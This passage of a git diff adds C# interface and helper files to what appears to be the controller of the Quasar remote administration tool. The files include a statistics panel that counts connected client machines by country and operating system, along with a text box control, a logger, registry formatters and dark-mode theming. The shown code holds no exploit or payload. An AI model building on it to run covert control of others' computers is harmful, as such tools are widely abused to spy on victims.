System.Drawing.Size(120, 34); + this.btnRefresh.TabIndex = 7; + this.btnRefresh.Text = "Refresh"; + this.btnRefresh.UseVisualStyleBackColor = false; + this.btnRefresh.Click += new System.EventHandler(this.btnRefresh_Click); + // + // lblCountriesValue + // + this.lblCountriesValue.AutoSize = true; + this.lblCountriesValue.Font = new System.Drawing.Font("Segoe UI", 16F, System.Drawing.FontStyle.Bold); + this.lblCountriesValue.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(122)))), ((int)(((byte)(204))))); + this.lblCountriesValue.Location = new System.Drawing.Point(733, 39); + this.lblCountriesValue.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblCountriesValue.Name = "lblCountriesValue"; + this.lblCountriesValue.Size = new System.Drawing.Size(33, 37); + this.lblCountriesValue.TabIndex = 6; + this.lblCountriesValue.Text = "0"; + // + // lblCountries + // + this.lblCountries.AutoSize = true; + this.lblCountries.Font = new System.Drawing.Font("Segoe UI", 9F); + this.lblCountries.ForeColor = System.Drawing.Color.Gray; + this.lblCountries.Location = new System.Drawing.Point(736, 15); + this.lblCountries.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblCountries.Name = "lblCountries"; + this.lblCountries.Size = new System.Drawing.Size(71, 20); + this.lblCountries.TabIndex = 5; + this.lblCountries.Text = "Countries"; + // + // lblOnlineValue + // + this.lblOnlineValue.AutoSize = true; + this.lblOnlineValue.Font = new System.Drawing.Font("Segoe UI", 16F, System.Drawing.FontStyle.Bold); + this.lblOnlineValue.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(122)))), ((int)(((byte)(204))))); + this.lblOnlineValue.Location = new System.Drawing.Point(467, 39); + this.lblOnlineValue.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblOnlineValue.Name = "lblOnlineValue"; + this.lblOnlineValue.Size = new System.Drawing.Size(33, 37); + this.lblOnlineValue.TabIndex = 4; + this.lblOnlineValue.Text = "0"; + // + // lblOnline + // + this.lblOnline.AutoSize = true; + this.lblOnline.Font = new System.Drawing.Font("Segoe UI", 9F); + this.lblOnline.ForeColor = System.Drawing.Color.Gray; + this.lblOnline.Location = new System.Drawing.Point(469, 15); + this.lblOnline.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblOnline.Name = "lblOnline"; + this.lblOnline.Size = new System.Drawing.Size(52, 20); + this.lblOnline.TabIndex = 3; + this.lblOnline.Text = "Online"; + // + // lblTotalValue + // + this.lblTotalValue.AutoSize = true; + this.lblTotalValue.Font = new System.Drawing.Font("Segoe UI", 16F, System.Drawing.FontStyle.Bold); + this.lblTotalValue.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(122)))), ((int)(((byte)(204))))); + this.lblTotalValue.Location = new System.Drawing.Point(200, 39); + this.lblTotalValue.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTotalValue.Name = "lblTotalValue"; + this.lblTotalValue.Size = new System.Drawing.Size(33, 37); + this.lblTotalValue.TabIndex = 2; + this.lblTotalValue.Text = "0"; + // + // lblTotal + // + this.lblTotal.AutoSize = true; + this.lblTotal.Font = new System.Drawing.Font("Segoe UI", 9F); + this.lblTotal.ForeColor = System.Drawing.Color.Gray; + this.lblTotal.Location = new System.Drawing.Point(203, 15); + this.lblTotal.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTotal.Name = "lblTotal"; + this.lblTotal.Size = new System.Drawing.Size(90, 20); + this.lblTotal.TabIndex = 1; + this.lblTotal.Text = "Total Clients"; + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Bold); + this.lblTitle.Location = new System.Drawing.Point(20, 15); + this.lblTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(98, 28); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Statistics"; + // + // panelMain + // + this.panelMain.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.panelMain.Controls.Add(this.splitContainer); + this.panelMain.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelMain.ForeColor = System.Drawing.Color.White; + this.panelMain.Location = new System.Drawing.Point(0, 86); + this.panelMain.Margin = new System.Windows.Forms.Padding(4); + this.panelMain.Name = "panelMain"; + this.panelMain.Padding = new System.Windows.Forms.Padding(13, 12, 13, 12); + this.panelMain.Size = new System.Drawing.Size(1333, 529); + this.panelMain.TabIndex = 1; + // + // splitContainer + // + this.splitContainer.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer.Location = new System.Drawing.Point(13, 12); + this.splitContainer.Margin = new System.Windows.Forms.Padding(4); + this.splitContainer.Name = "splitContainer"; + // + // splitContainer.Panel1 + // + this.splitContainer.Panel1.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.splitContainer.Panel1.Controls.Add(this.groupCountries); + // + // splitContainer.Panel2 + // + this.splitContainer.Panel2.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.splitContainer.Panel2.Controls.Add(this.groupOS); + this.splitContainer.Size = new System.Drawing.Size(1307, 505); + this.splitContainer.SplitterDistance = 506; + this.splitContainer.SplitterWidth = 5; + this.splitContainer.TabIndex = 0; + // + // groupCountries + // + this.groupCountries.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.groupCountries.Controls.Add(this.lvCountries); + this.groupCountries.Dock = System.Windows.Forms.DockStyle.Fill; + this.groupCountries.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Bold); + this.groupCountries.Location = new System.Drawing.Point(0, 0); + this.groupCountries.Margin = new System.Windows.Forms.Padding(4); + this.groupCountries.Name = "groupCountries"; + this.groupCountries.Padding = new System.Windows.Forms.Padding(11, 10, 11, 10); + this.groupCountries.Size = new System.Drawing.Size(506, 505); + this.groupCountries.TabIndex = 0; + this.groupCountries.TabStop = false; + this.groupCountries.Text = "Clients by Country"; + // + // lvCountries + // + this.lvCountries.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.colCountry, + this.colClients, + this.colPercentage}); + this.lvCountries.Dock = System.Windows.Forms.DockStyle.Fill; + this.lvCountries.Font = new System.Drawing.Font("Segoe UI", 9F); + this.lvCountries.ForeColor = System.Drawing.Color.White; + this.lvCountries.FullRowSelect = true; + this.lvCountries.GridLines = true; + this.lvCountries.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; + this.lvCountries.HideSelection = false; + this.lvCountries.Location = new System.Drawing.Point(11, 32); + this.lvCountries.Margin = new System.Windows.Forms.Padding(4); + this.lvCountries.Name = "lvCountries"; + this.lvCountries.Size = new System.Drawing.Size(484, 463); + this.lvCountries.TabIndex = 0; + this.lvCountries.UseCompatibleStateImageBehavior = false; + this.lvCountries.View = System.Windows.Forms.View.Details; + // + // colCountry + // + this.colCountry.Text = "Country"; + this.colCountry.Width = 200; + // + // colClients + // + this.colClients.Text = "Clients"; + this.colClients.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + this.colClients.Width = 80; + // + // colPercentage + // + this.colPercentage.Text = "%"; + this.colPercentage.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + this.colPercentage.Width = 70; + // + // groupOS + // + this.groupOS.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.groupOS.Controls.Add(this.chartOS); + this.groupOS.Dock = System.Windows.Forms.DockStyle.Fill; + this.groupOS.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Bold); + this.groupOS.Location = new System.Drawing.Point(0, 0); + this.groupOS.Margin = new System.Windows.Forms.Padding(4); + this.groupOS.Name = "groupOS"; + this.groupOS.Padding = new System.Windows.Forms.Padding(11, 10, 11, 10); + this.groupOS.Size = new System.Drawing.Size(796, 505); + this.groupOS.TabIndex = 0; + this.groupOS.TabStop = false; + this.groupOS.Text = "Operating Systems"; + // + // chartOS + // + this.chartOS.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.chartOS.BackSecondaryColor = System.Drawing.Color.FromArgb(32, 32, 36); + chartArea1.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + chartArea1.Name = "ChartArea1"; + this.chartOS.ChartAreas.Add(chartArea1); + this.chartOS.Dock = System.Windows.Forms.DockStyle.Fill; + legend1.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + legend1.Enabled = false; + legend1.Name = "Legend1"; + this.chartOS.Legends.Add(legend1); + this.chartOS.Location = new System.Drawing.Point(11, 32); + this.chartOS.Margin = new System.Windows.Forms.Padding(4); + this.chartOS.Name = "chartOS"; + this.chartOS.Size = new System.Drawing.Size(774, 463); + this.chartOS.TabIndex = 0; + this.chartOS.Click += new System.EventHandler(this.chartOS_Click); + // + // StatisticsPanel + // + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.Controls.Add(this.panelMain); + this.Controls.Add(this.panelTop); + this.Margin = new System.Windows.Forms.Padding(4); + this.Name = "StatisticsPanel"; + this.Size = new System.Drawing.Size(1333, 615); + this.panelTop.ResumeLayout(false); + this.panelTop.PerformLayout(); + this.panelMain.ResumeLayout(false); + this.splitContainer.Panel1.ResumeLayout(false); + this.splitContainer.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).EndInit(); + this.splitContainer.ResumeLayout(false); + this.groupCountries.ResumeLayout(false); + this.groupOS.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.chartOS)).EndInit(); + this.ResumeLayout(false); + + } + + private System.Windows.Forms.Panel panelTop; + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblTotal; + private System.Windows.Forms.Label lblTotalValue; + private System.Windows.Forms.Label lblOnline; + private System.Windows.Forms.Label lblOnlineValue; + private System.Windows.Forms.Label lblCountries; + private System.Windows.Forms.Label lblCountriesValue; + private System.Windows.Forms.Button btnRefresh; + private System.Windows.Forms.Panel panelMain; + private System.Windows.Forms.SplitContainer splitContainer; + private System.Windows.Forms.GroupBox groupCountries; + private System.Windows.Forms.ListView lvCountries; + private System.Windows.Forms.ColumnHeader colCountry; + private System.Windows.Forms.ColumnHeader colClients; + private System.Windows.Forms.ColumnHeader colPercentage; + private System.Windows.Forms.GroupBox groupOS; + private System.Windows.Forms.DataVisualization.Charting.Chart chartOS; + } +} + + diff --git a/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.cs b/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.cs new file mode 100755 index 0000000..d138eea --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.cs @@ -0,0 +1,223 @@ +using Quasar.Server.Networking; +using Quasar.Server.Statistics; +using Quasar.Server.Utilities; +using Quasar.Server.Models; +using System; +using System.Drawing; +using System.Linq; +using System.Windows.Forms; +using System.Windows.Forms.DataVisualization.Charting; + +namespace Quasar.Server.Controls +{ + public partial class StatisticsPanel : UserControl + { + private readonly QuasarServer _listenServer; + private Timer _refreshTimer; + private Func _getMockClients; + + public StatisticsPanel(QuasarServer listenServer) + { + _listenServer = listenServer; + InitializeComponent(); + ApplyTheme(); + + _refreshTimer = new Timer(); + _refreshTimer.Interval = 5000; + _refreshTimer.Tick += RefreshTimer_Tick; + } + + public void SetMockClientsProvider(Func getMockClients) + { + _getMockClients = getMockClients; + } + + private void ApplyTheme() + { + // Always apply dark theme to match the UI + this.BackColor = Color.FromArgb(32, 32, 36); + this.ForeColor = Color.White; + + ApplyThemeToControls(this.Controls); + + if (chartOS != null) + { + chartOS.BackColor = Color.FromArgb(32, 32, 36); + chartOS.ChartAreas[0].BackColor = Color.FromArgb(32, 32, 36); + chartOS.ChartAreas[0].BorderColor = Color.FromArgb(70, 70, 78); + chartOS.ChartAreas[0].BorderWidth = 1; + chartOS.ChartAreas[0].BorderDashStyle = ChartDashStyle.Solid; + + if (chartOS.Legends.Count > 0) + { + chartOS.Legends[0].BackColor = Color.FromArgb(32, 32, 36); + chartOS.Legends[0].ForeColor = Color.White; + } + } + } + + private void ApplyThemeToControls(Control.ControlCollection controls) + { + foreach (Control control in controls) + { + if (control is Label label) + { + label.ForeColor = Color.White; + } + else if (control is Button button) + { + button.BackColor = Color.FromArgb(37, 37, 38); + button.ForeColor = Color.White; + button.FlatStyle = FlatStyle.Flat; + button.FlatAppearance.BorderColor = Color.FromArgb(63, 63, 70); + } + else if (control is ListView listView) + { + listView.BackColor = Color.FromArgb(32, 32, 36); + listView.ForeColor = Color.White; + listView.GridLines = false; + listView.BorderStyle = BorderStyle.FixedSingle; + } + else if (control is Panel panel) + { + panel.BackColor = Color.FromArgb(32, 32, 36); + } + else if (control is GroupBox groupBox) + { + groupBox.ForeColor = Color.White; + } + + if (control.HasChildren) + { + ApplyThemeToControls(control.Controls); + } + } + } + + protected override void OnLoad(EventArgs e) + { + base.OnLoad(e); + RefreshStatistics(); + _refreshTimer.Start(); + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + if (components != null) + { + components.Dispose(); + } + _refreshTimer?.Stop(); + _refreshTimer?.Dispose(); + } + base.Dispose(disposing); + } + + private void RefreshTimer_Tick(object sender, EventArgs e) + { + RefreshStatistics(); + } + + private void RefreshStatistics() + { + try + { + var clients = _listenServer.ConnectedClients; + MockClient[] mockClients = null; + + // Get mock clients if provider is set + if (_getMockClients != null) + { + mockClients = _getMockClients(); + } + + var snapshot = ClientStatisticsService.CreateSnapshot(clients, mockClients); + + if (snapshot.HasError) + { + return; + } + + lblTotalValue.Text = snapshot.TotalClients.ToString(); + lblOnlineValue.Text = snapshot.OnlineClients.ToString(); + lblCountriesValue.Text = snapshot.ClientsByCountry.Count.ToString(); + + UpdateCountryList(snapshot); + UpdateOSChart(snapshot); + } + catch + { + // Silently handle errors + } + } + + private void UpdateCountryList(ClientStatisticsSnapshot snapshot) + { + lvCountries.Items.Clear(); + + foreach (var country in snapshot.ClientsByCountry.Take(10)) + { + var item = new ListViewItem(country.Label); + item.SubItems.Add(country.Count.ToString()); + item.SubItems.Add(country.Share.ToString("P0")); + lvCountries.Items.Add(item); + } + } + + private void UpdateOSChart(ClientStatisticsSnapshot snapshot) + { + chartOS.Series.Clear(); + chartOS.Titles.Clear(); + + if (snapshot.ClientsByOperatingSystem.Count == 0) + { + var title = chartOS.Titles.Add("No Data Available"); + title.Font = new Font("Segoe UI", 10); + title.ForeColor = Color.White; + return; + } + + var series = new Series("Operating Systems") + { + ChartType = SeriesChartType.Pie, + IsValueShownAsLabel = true + }; + + series["PieLabelStyle"] = "Outside"; + series["PieLineColor"] = "White"; + + foreach (var os in snapshot.ClientsByOperatingSystem.Take(6)) + { + var point = series.Points.Add(os.Count); + point.Label = $"{os.Count} ({os.Share:P0})"; + point.LegendText = os.Label.Length > 30 ? os.Label.Substring(0, 27) + "..." : os.Label; + point.ToolTip = $"{os.Label}: {os.Count} clients ({os.Share:P0})"; + point.LabelForeColor = Color.White; + } + + chartOS.Series.Add(series); + + var title2 = chartOS.Titles.Add("Operating Systems Distribution"); + title2.Font = new Font("Segoe UI", 11, FontStyle.Bold); + title2.ForeColor = Color.White; + + chartOS.Legends[0].Enabled = true; + chartOS.Legends[0].Docking = Docking.Right; + chartOS.Legends[0].Font = new Font("Segoe UI", 9); + chartOS.Legends[0].BackColor = Color.FromArgb(32, 32, 36); + chartOS.Legends[0].ForeColor = Color.White; + } + + private void btnRefresh_Click(object sender, EventArgs e) + { + RefreshStatistics(); + } + + private void chartOS_Click(object sender, EventArgs e) + { + + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.resx b/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.resx new file mode 100755 index 0000000..1af7de1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.Designer.cs b/Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.Designer.cs new file mode 100755 index 0000000..21dc61d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.Designer.cs @@ -0,0 +1,36 @@ +namespace Quasar.Server.Controls +{ + partial class WordTextBox + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + components = new System.ComponentModel.Container(); + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.cs b/Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.cs new file mode 100755 index 0000000..62a0368 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.cs @@ -0,0 +1,171 @@ +using System; +using System.Globalization; +using System.Windows.Forms; +using Quasar.Server.Enums; + +namespace Quasar.Server.Controls +{ + public partial class WordTextBox : TextBox + { + private bool isHexNumber; + private WordType type; + + public override int MaxLength + { + get + { + return base.MaxLength; + } + set { } + } + + public bool IsHexNumber + { + get { return isHexNumber; } + set + { + if (isHexNumber == value) + return; + + if(value) + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString("x"); + else + Text = ULongValue.ToString("x"); + } + else + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString(); + else + Text = ULongValue.ToString(); + } + + isHexNumber = value; + + UpdateMaxLength(); + } + } + + public WordType Type + { + get { return type; } + set + { + if (type == value) + return; + + type = value; + + UpdateMaxLength(); + } + } + + public uint UIntValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt32.Parse(Text, NumberStyles.HexNumber); + else + return UInt32.Parse(Text); + } + catch (Exception) + { + return UInt32.MaxValue; + } + } + } + + public ulong ULongValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt64.Parse(Text, NumberStyles.HexNumber); + else + return UInt64.Parse(Text); + } + catch (Exception) + { + return UInt64.MaxValue; + } + } + } + + public bool IsConversionValid() + { + if (String.IsNullOrEmpty(Text)) + return true; + + if (!IsHexNumber) + { + return ConvertToHex(); + } + return true; + } + + public WordTextBox() + { + InitializeComponent(); + base.MaxLength = 8; + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + base.OnKeyPress(e); + e.Handled = !IsValidChar(e.KeyChar); + } + + private bool IsValidChar(char ch) + { + return (Char.IsControl(ch) || + Char.IsDigit(ch) || + (IsHexNumber && Char.IsLetter(ch) && Char.ToLower(ch) <= 'f')); + } + + private void UpdateMaxLength() + { + if(Type == WordType.DWORD) + { + if (IsHexNumber) + base.MaxLength = 8; + else + base.MaxLength = 10; + } + else + { + if (IsHexNumber) + base.MaxLength = 16; + else + base.MaxLength = 20; + } + } + + + private bool ConvertToHex() + { + try + { + if (Type == WordType.DWORD) + UInt32.Parse(Text); + else + UInt64.Parse(Text); + return true; + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/DebugLogger.cs b/Quasar-1.4.1/Quasar.Server/DebugLogger.cs new file mode 100755 index 0000000..6dcea6a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/DebugLogger.cs @@ -0,0 +1,51 @@ +using System; +using System.IO; + +namespace Quasar.Server +{ + public static class DebugLogger + { + private static readonly string LogPath = Path.Combine( + Environment.GetFolderPath(Environment.SpecialFolder.Desktop), + "QuasarDebug.txt"); + + public static void Log(string message) + { + try + { + string logMessage = $"[{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff}] {message}"; + File.AppendAllText(LogPath, logMessage + Environment.NewLine); + } + catch + { + // Ignore logging errors + } + } + + public static void LogException(string context, Exception ex) + { + try + { + string logMessage = $"[{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff}] ERROR in {context}: {ex.GetType().Name}: {ex.Message}\nStack: {ex.StackTrace}"; + File.AppendAllText(LogPath, logMessage + Environment.NewLine); + } + catch + { + // Ignore logging errors + } + } + + public static void Clear() + { + try + { + if (File.Exists(LogPath)) + File.Delete(LogPath); + } + catch + { + // Ignore + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Enums/TransferType.cs b/Quasar-1.4.1/Quasar.Server/Enums/TransferType.cs new file mode 100755 index 0000000..ba161bd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Enums/TransferType.cs @@ -0,0 +1,8 @@ +namespace Quasar.Server.Enums +{ + public enum TransferType + { + Upload, + Download + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Enums/WordType.cs b/Quasar-1.4.1/Quasar.Server/Enums/WordType.cs new file mode 100755 index 0000000..ee6cd1b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Enums/WordType.cs @@ -0,0 +1,8 @@ +namespace Quasar.Server.Enums +{ + public enum WordType + { + DWORD, + QWORD + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Extensions/ListViewExtensions.cs b/Quasar-1.4.1/Quasar.Server/Extensions/ListViewExtensions.cs new file mode 100755 index 0000000..5a718d5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Extensions/ListViewExtensions.cs @@ -0,0 +1,36 @@ +using Quasar.Common.Helpers; +using Quasar.Server.Helper; +using Quasar.Server.Utilities; +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Extensions +{ + public static class ListViewExtensions + { + private const uint SET_COLUMN_WIDTH = 4126; + private static readonly IntPtr AUTOSIZE_USEHEADER = new IntPtr(-2); + + /// + /// Automatically determines the correct column size on the the given listview. + /// + /// The listview whose columns are to be autosized. + public static void AutosizeColumns(this ListView targetListView) + { + if (PlatformHelper.RunningOnMono) return; + for (int lngColumn = 0; lngColumn <= (targetListView.Columns.Count - 1); lngColumn++) + { + NativeMethods.SendMessage(targetListView.Handle, SET_COLUMN_WIDTH, new IntPtr(lngColumn), AUTOSIZE_USEHEADER); + } + } + + /// + /// Selects all items on the given listview. + /// + /// The listview whose items are to be selected. + public static void SelectAllItems(this ListView targetListView) + { + NativeMethodsHelper.SetItemState(targetListView.Handle, -1, 2, 2); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Extensions/RegistryKeyExtensions.cs b/Quasar-1.4.1/Quasar.Server/Extensions/RegistryKeyExtensions.cs new file mode 100755 index 0000000..1baad3f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Extensions/RegistryKeyExtensions.cs @@ -0,0 +1,55 @@ +using System; +using Microsoft.Win32; + +namespace Quasar.Server.Extensions +{ + public static class RegistryKeyExtensions + { + public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData) + { + if (valueData == null) + return "(value not set)"; + + switch (valueKind) + { + case RegistryValueKind.Binary: + return ((byte[])valueData).Length > 0 ? BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower() : "(zero-length binary value)"; + case RegistryValueKind.MultiString: + return string.Join(" ", (string[])valueData); + case RegistryValueKind.DWord: //Convert with hexadecimal before int + return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("x8"), ((uint)((int)valueData)).ToString()); + case RegistryValueKind.QWord: + return String.Format("0x{0} ({1})", ((ulong)((long)valueData)).ToString("x8"), ((ulong)((long)valueData)).ToString()); + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return valueData.ToString(); + case RegistryValueKind.Unknown: + default: + return string.Empty; + } + } + + public static string RegistryTypeToString(this RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.Binary: + return "REG_BINARY"; + case RegistryValueKind.MultiString: + return "REG_MULTI_SZ"; + case RegistryValueKind.DWord: + return "REG_DWORD"; + case RegistryValueKind.QWord: + return "REG_QWORD"; + case RegistryValueKind.String: + return "REG_SZ"; + case RegistryValueKind.ExpandString: + return "REG_EXPAND_SZ"; + case RegistryValueKind.Unknown: + return "(Unknown)"; + default: + return "REG_NONE"; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/BaseForm.cs b/Quasar-1.4.1/Quasar.Server/Forms/BaseForm.cs new file mode 100755 index 0000000..e38a715 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/BaseForm.cs @@ -0,0 +1,17 @@ +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public class BaseForm : Form + { + public BaseForm() + { + if (Settings.DarkMode) + { + this.Load += (s, e) => ThemeManager.ApplyTheme(this); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkMode.cs b/Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkMode.cs new file mode 100755 index 0000000..0b8cc9a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkMode.cs @@ -0,0 +1,1697 @@ +using Microsoft.Win32; +using Quasar.Server.Controls; +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Linq; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace DarkModeForms +{ + /// This tries to automatically apply Windows Dark Mode (if enabled) to a Form. + /// Author: BlueMystic (bluemystic.play@gmail.com) 2024 + public class DarkModeCS + { + #region Win32 API Declarations + + public struct DWMCOLORIZATIONcolors + { + public uint ColorizationColor, + ColorizationAfterglow, + ColorizationColorBalance, + ColorizationAfterglowBalance, + ColorizationBlurBalance, + ColorizationGlassReflectionIntensity, + ColorizationOpaqueBlend; + } + + [Flags] + public enum DWMWINDOWATTRIBUTE : uint + { + /// + /// Use with DwmGetWindowAttribute. Discovers whether non-client rendering is enabled. The retrieved value is of type BOOL. TRUE if non-client rendering is enabled; otherwise, FALSE. + /// + DWMWA_NCRENDERING_ENABLED = 1, + + /// + /// Use with DwmSetWindowAttribute. Sets the non-client rendering policy. The pvAttribute parameter points to a value from the DWMNCRENDERINGPOLICY enumeration. + /// + DWMWA_NCRENDERING_POLICY, + + /// + /// Use with DwmSetWindowAttribute. Enables or forcibly disables DWM transitions. The pvAttribute parameter points to a value of type BOOL. TRUE to disable transitions, or FALSE to enable transitions. + /// + DWMWA_TRANSITIONS_FORCEDISABLED, + + /// + /// Use with DwmSetWindowAttribute. Enables content rendered in the non-client area to be visible on the frame drawn by DWM. The pvAttribute parameter points to a value of type BOOL. TRUE to enable content rendered in the non-client area to be visible on the frame; otherwise, FALSE. + /// + DWMWA_ALLOW_NCPAINT, + + /// + /// Use with DwmGetWindowAttribute. Retrieves the bounds of the caption button area in the window-relative space. The retrieved value is of type RECT. If the window is minimized or otherwise not visible to the user, then the value of the RECT retrieved is undefined. You should check whether the retrieved RECT contains a boundary that you can work with, and if it doesn't then you can conclude that the window is minimized or otherwise not visible. + /// + DWMWA_CAPTION_BUTTON_BOUNDS, + + /// + /// Use with DwmSetWindowAttribute. Specifies whether non-client content is right-to-left (RTL) mirrored. The pvAttribute parameter points to a value of type BOOL. TRUE if the non-client content is right-to-left (RTL) mirrored; otherwise, FALSE. + /// + DWMWA_NONCLIENT_RTL_LAYOUT, + + /// + /// Use with DwmSetWindowAttribute. Forces the window to display an iconic thumbnail or peek representation (a static bitmap), even if a live or snapshot representation of the window is available. This value is normally set during a window's creation, and not changed throughout the window's lifetime. Some scenarios, however, might require the value to change over time. The pvAttribute parameter points to a value of type BOOL. TRUE to require a iconic thumbnail or peek representation; otherwise, FALSE. + /// + DWMWA_FORCE_ICONIC_REPRESENTATION, + + /// + /// Use with DwmSetWindowAttribute. Sets how Flip3D treats the window. The pvAttribute parameter points to a value from the DWMFLIP3DWINDOWPOLICY enumeration. + /// + DWMWA_FLIP3D_POLICY, + + /// + /// Use with DwmGetWindowAttribute. Retrieves the extended frame bounds rectangle in screen space. The retrieved value is of type RECT. + /// + DWMWA_EXTENDED_FRAME_BOUNDS, + + /// + /// Use with DwmSetWindowAttribute. The window will provide a bitmap for use by DWM as an iconic thumbnail or peek representation (a static bitmap) for the window. DWMWA_HAS_ICONIC_BITMAP can be specified with DWMWA_FORCE_ICONIC_REPRESENTATION. DWMWA_HAS_ICONIC_BITMAP normally is set during a window's creation and not changed throughout the window's lifetime. Some scenarios, however, might require the value to change over time. The pvAttribute parameter points to a value of type BOOL. TRUE to inform DWM that the window will provide an iconic thumbnail or peek representation; otherwise, FALSE. Windows Vista and earlier: This value is not supported. + /// + DWMWA_HAS_ICONIC_BITMAP, + + /// + /// Use with DwmSetWindowAttribute. Do not show peek preview for the window. The peek view shows a full-sized preview of the window when the mouse hovers over the window's thumbnail in the taskbar. If this attribute is set, hovering the mouse pointer over the window's thumbnail dismisses peek (in case another window in the group has a peek preview showing). The pvAttribute parameter points to a value of type BOOL. TRUE to prevent peek functionality, or FALSE to allow it. Windows Vista and earlier: This value is not supported. + /// + DWMWA_DISALLOW_PEEK, + + /// + /// Use with 